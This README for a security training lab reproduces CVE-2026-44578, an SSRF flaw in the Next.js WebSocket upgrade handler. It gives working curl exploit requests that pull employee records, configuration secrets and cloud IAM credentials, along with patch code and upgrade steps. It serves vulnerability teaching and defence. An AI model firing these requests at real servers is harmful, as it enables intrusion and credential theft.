
Exploit de preuve de concept pour CVE-2026-44578 qui reproduit la condition de vulnérabilité, permettant aux chercheurs en sécurité de valider les systèmes affectés et d'évaluer les mesures d'atténuation.
Projet CERT de la Security Academy Environnement pratique de reproduction de vulnérabilités pour la démo des mentors
| Élément | Contenu |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS | 8.6 (Élevé) |
| CWE | CWE-918 (Falsification de requête côté serveur) |
| Versions affectées | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 |
| Versions corrigées | 15.5.16+, 16.2.5+ |
| Authentification requise | Aucune (Non authentifié) |
Vulnérabilité où le gestionnaire de mise à niveau WebSocket de Next.js (upgradeHandler) relaie sans vérification vers un service interne un
URI de forme absolue (RFC 7230 §5.3.2) inséré dans la ligne de requête HTTP.
Il est possible d'envoyer des requêtes HTTP arbitraires à des services internes inaccessibles depuis l'extérieur (SSRF).
[공격자]
│
│ WebSocket Upgrade 요청
│ GET http://internal-svc/api/v1/employees HTTP/1.1
│ Connection: Upgrade / Upgrade: websocket
▼
[nextjs-vuln :3000] ← 외부 노출
│
│ 무검증 프록시 (proxyRequest)
▼
[internal-svc :80] ← 내부망 전용, 외부 직접 접근 불가
│
├── GET /api/v1/employees → 사원 DB (이름·이메일·연봉·pw_hash)
├── GET /api/v1/config → DB 패스워드·JWT 시크릿·Redis 패스워드
└── GET /latest/meta-data/… → AWS IMDS 시뮬레이션 (IAM 크리덴셜)
docker-compose ├── nextjs-vuln (Next.js 15.5.0, version vulnérable) └── internal-svc (FastAPI + SQLite, réservé au réseau interne)
git clone https://github.com/<your-org>/CVE-2026-44578.git
cd CVE-2026-44578
docker compose up --build
Une fois la compilation terminée, Next.js prend 30 à 60 secondes pour être prêt.
Vérification de la disponibilité :
curl -s http://localhost:3000/api/hello | grep ok
Une requête HTTP normale contient uniquement le chemin sous la forme GET /path HTTP/1.1,
mais la RFC 7230 §5.3.2 autorise la forme absolute-form, qui insère l'URL complète dans la ligne de requête.
GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket
Le upgradeHandler de Next.js analyse cette URL et, si parsedUrl.protocol existe,
il appelle proxyRequest() sans vérifier la destination.
L'option curl --request-target permet de spécifier directement la ligne de requête.
curl -s --connect-timeout 3 http://internal-svc/health
# → 연결 실패 (외부에서 내부망 직접 도달 불가)
curl -s --http1.1 \
--request-target "http://internal-svc/health" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/employees" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
→ renvoie l'intégralité des noms, e-mails, salaires et hachages bcrypt
curl -s --http1.1 \
--request-target "http://internal-svc/api/v1/config" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-1: IAM 롤 이름 열거
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
# 5-2: 크리덴셜 탈취
curl -s --http1.1 \
--request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
http://localhost:3000
router-server.js upgradeHandler)// Next.js 15.5.0 ~ 15.5.15 — 취약
const { matchedOutput, parsedUrl } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (parsedUrl.protocol) { // ← 목적지 검증 없음
return await proxyRequest(req, socket, parsedUrl, head);
}
Dès que parsedUrl.protocol existe, le proxy est immédiat. Que l'hôte cible soit une IP interne
ou l'IMDS (169.254.169.254), la requête est systématiquement transmise.
15.5.16+)// Next.js 15.5.16+ — 패치
const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
req, res: socket, isUpgradeReq: true,
signal: signalFromNodeResponse(socket)
});
if (matchedOutput) return socket.end();
if (finished && parsedUrl.protocol) { // ← finished 가드 추가
if (!statusCode) {
return await proxyRequest(req, socket, parsedUrl, head);
}
return socket.end();
}
finished n'est true que lorsque la requête correspond à une route normale à l'intérieur de resolveRoutes.
Les URI de forme absolue ne correspondent pas à une route normale, donc finished === false → blocage par le proxy.
patch-for-lab.js)Dans l'environnement de reproduction de la vulnérabilité, resolve-routes.js interprète :// à tort comme une suite de barres obliques et
réduit http://host/path en http:/host/path, ce qui bloque accidentellement la SSRF.
patch-for-lab.js désactive ce comportement afin que la vulnérabilité soit reproduite normalement.
# 15.x 계열
npm install next@">=15.5.16"
# 16.x 계열
npm install next@">=16.2.5"
# 버전 확인
npx next --version
RUN npm install [email protected] --legacy-peer-deps
# 또는 package.json에서 "next": "15.5.16" 고정 후
RUN npm ci
Appliquer directement la logique de correctif officielle à la version actuelle avec patch-defense.js inclus dans ce lab :
# 랩 컨테이너 내부에서
node patch-defense.js
# 상태 확인만 (파일 수정 없음)
node patch-defense.js --check
Après l'application du correctif, les requêtes SSRF sont bloquées sans réponse.
CVE-2026-44578/ ├── docker-compose.yml ├── nextjs-app/ │ ├── Dockerfile │ ├── patch-for-lab.js # correctif resolve-routes (pour la reproduction SSRF) │ ├── patch-defense.js # correctif de défense router-server (pour prouver la défense par modification du code) │ └── ... ├── internal-svc/ │ ├── Dockerfile │ ├── server.py # service interne FastAPI (SQLite + simulation IMDS) │ └── requirements.txt └── exploit/ └── demo.sh # script de démonstration automatique en 6 étapes
Ce dépôt est fourni à des fins d'éducation en sécurité et de recherche sur les vulnérabilités uniquement.
L'utilisation pour des attaques non autorisées contre des services réels est illégale,
et tous les tests doivent être effectués uniquement dans des environnements dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation explicite.